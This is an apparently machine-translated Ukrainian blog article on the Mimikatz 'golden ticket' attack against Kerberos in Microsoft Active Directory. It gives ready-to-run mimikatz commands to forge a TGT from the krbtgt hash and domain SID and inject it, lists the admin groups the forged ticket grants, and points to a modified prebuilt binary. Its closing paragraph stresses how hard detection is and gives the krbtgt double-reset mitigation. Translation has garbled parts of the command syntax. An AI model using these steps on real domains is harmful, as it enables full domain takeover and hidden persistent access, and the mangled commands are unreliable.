На початку цього року Benjamin Delpy aka gentilkiwi знову порадував співтовариство черговим дослідженням і, як наслідок, новим функціоналом в своїй епічній збірці під назвою Mimikatz. Йдеться про використання архітектурних особливостей служби Kerberos в Microsoft Active Directory з метою прихованого збереження привілейованого доступу над ресурсами домену. Щоб зрозуміти всю цінність розкопок gentilkiwi, варто освіжити свої знання в контексті протоколу Kerberos і про його місце в службі каталогів Microsoft.
Чи не залазячи в нетрі протоколу, грубо кажучи аутентифікація в стилі Kerberos базується на "квитках доступу". Для отримання доступу до ресурсу клієнт надає свій квиток доступу, а ресурс в свою чергу, на основі криптографічного магії, верифікує цей квиток доступу і приймає рішення, якими правами наділений клієнт і наділений-ли він ними взагалі. Особливу роль у всьому цьому процесі займають сервера аутентифікації, які відповідають за видачу сакральних квитків доступу. У Microsoft Active Directory цю функцію виконують контролери домену.
Починаючи з Kerberos четвертої версії з'являється така корисна штука, як TGT (Ticket Granting Ticket - квиток для отримання квитка). Саме цю версію протоколу Kerberos штампує корпорація добра свого рішення для централізованого управління мережами, яке згодом отримує назву Microsoft Active Directory.
З першого погляду все просто чудово! Хіба що повилазили косяки в реалізації ... Хоча у кого їх не було? [Тинц] Зараз зрозуміло подібні баги пофікшени і сурйозний компанії, які зрослися всіма частинами своєї ІТ-інфраструктури з MS AD, можуть зітхнути з полегшенням, але ...
«Важко бути Богом, але хтось же повинен їм бути ...» (с)
Остання умова необхідна лише за потреби шитих мімакадзом привілеїв. Генерація самого TGT квитка може протікати де завгодно.
mimikatz.exe "kerberos :: golden / admin: ANYID /domain:TEST.LOCAL / sid: S-1-5-21-3838653977-3010990090-570996099 / krbtgt: C1E209654807223D8CB17376FCB70E53 / ticket: myfile" exit
kerberos :: golden - виклик функції генерації TGT квитка
/ Admin: ANYID - сюди можна писати довільний ідентифікатор (світитиметься в журналі безпеки)
/domain:TEST.LOCAL - цільової домен
/ Sid: S-1-5-21-3838653977-3010990090-570996099 - ідентифікатор цільового домену
/ Krbtgt: C1E209654807223D8CB17376FCB70E53 - NTLM-хеш користувача krbtgt
/ Ticket: myfile - ім'я файлу, в який буде записаний новоспечений TGT квиток
Після генерації цього файлу повертаємося до доменного комп'ютера і довантажувати чарівний "золотий квиток" Kerberos:
mimikatz.exe "kerberos :: ptt myfile" exit
У готової збірці Mimikatz власник золотого TGT квитка стає учасником наступних груп безпеки:
- SID 512 - Адміністратори домену
- SID 513 - Користувачі домена
- SID 518 - Адміністратори схеми
- SID 519 - Адміністратори підприємства
- SID 520 - Власники-творці групової політики
У подібних випадках можна зібрати свою версію Mimikatz (благо є сорци у вільному доступі з докладним керівництвом по збірці). Самі ж ледачі можуть забрати готову доповнену версію в частині генерації TGT квитка звідси (mimi.exe / md5 324ac76502379a869485f7a404dd1570). У ній з'явилися два нові параметри:
- / Usersid - собсно SID користувача
- / Groupsid - учасником якої групи необхідно бути (крім адміністраторів домену, підприємств та ін.)
mimi.exe "kerberos :: golden / admin: ANONYMOUS /domain:TEST.LOCAL / sid: S-1-5-21-3838653977-3010990090-570996099 / krbtgt: C1E209654807223D8CB17376FCB70E53 / ticket: myfile2 / usersid: 501 / groupsid 1120 "exit
mimi.exe "kerberos :: ptt myfile2" exit
Погодьтеся, з точки зору форенсікі кумедна штука виходить :)) Відмоніторити активність атакуючого, зуміти відокремити її від активності справжніх легітимних користувачів і сервісних облікових записів при подібних можливостях, буде ох як непросто, якщо взагалі можливо. А ось запобігти (повторний) несанкціонований доступ можна шляхом зміни пароля користувачу krbtgt. Причому міняти пароль необхідно два рази поспіль (ще одна тонка особливість krbtgt), потім пересмикувати службу KDC і спостерігати як (тимчасово чи назовсім) відвалюються сервіси, зав'язані на Active Directory ... отже до наступного випадку компрометації хешіка krbtgt :)